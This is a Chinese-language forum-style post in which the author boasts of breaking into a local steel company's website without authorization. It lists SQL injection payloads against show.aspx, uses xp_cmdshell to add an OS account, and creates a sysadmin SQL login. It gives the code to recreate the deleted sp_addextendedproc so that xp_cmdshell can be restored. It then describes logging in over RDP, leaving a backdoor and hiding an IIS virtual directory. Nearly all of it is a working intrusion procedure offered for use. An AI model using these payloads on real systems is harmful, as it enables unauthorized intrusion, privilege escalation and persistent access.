注射MSSQL时解决的一个未有人提到过的问题
今天没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.当然 这是意料中的事.最近搞大家都喜欢搞脚本.那我也就从他们的网站程序看看了.
show.aspx?id=1'
嘿嘿 asp.net 照样暴 说什么有未闭合的分号.
show.aspx?id=1 and (select @@version)>0;--
果然,2003的系统
show.aspx?id=1 and 'sa'=(select System_user)--
嘿嘿 正确返回 有权限了 想到直接用xp_cmeshell直接添加帐号
因为之前已经知道这服务器开了3389的
所以 我们继续来:
show.aspx?id=1;exec master.dbo.xp_cmdshell "net user haco lovehaco /add"--
我倒,返回结果错误了 看来管理员还不是很可爱噢
那我们来恢复这个存储过程?OK 继续
show.aspx?id=1;exec master.dbo.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'--
回车后……狂晕死.居然说什么过程sp_addextendedproc没找着 开始我以为是删除了xplog70.dll 可是后来不这样这样认为了 记得以前也碰到过这样的事 可是都没能解决 这次一定要搞定 嘿嘿!之后 到处问人
这里要感谢一下BST论坛里的tob88 谢谢 是他提醒了我
不就是过程SP_ADDextendedproc被删除了嘛 我们恢复它就是了嘛!
为了方便 我添加了个sysadmin的帐号
show.aspx?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--
show.aspx?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;-- HOHO~ 搞定 俺自己装了MSSQL 企业管理器里连上这台服务器的SQL
调出查询器 恢复过程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
哈哈 试下 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
哇!命令成功完成 耶!添加帐号 登陆3389 留个我最喜欢的绝对后门
IIS隐藏虚拟目录 搞定 闪人……
PS:其实像sp_addextendedproc这些过程也都可以删除掉 就不能添加了
当然 也可以恢复的 这个恢复的语句 是从MSSQL数据库里得到的 有兴趣的朋友可以自己试试看 呵呵 这是我小泥巴第一次写东西 很稀烂的 大家看看就算了 别笑噢 要不 我会5555哭的噢!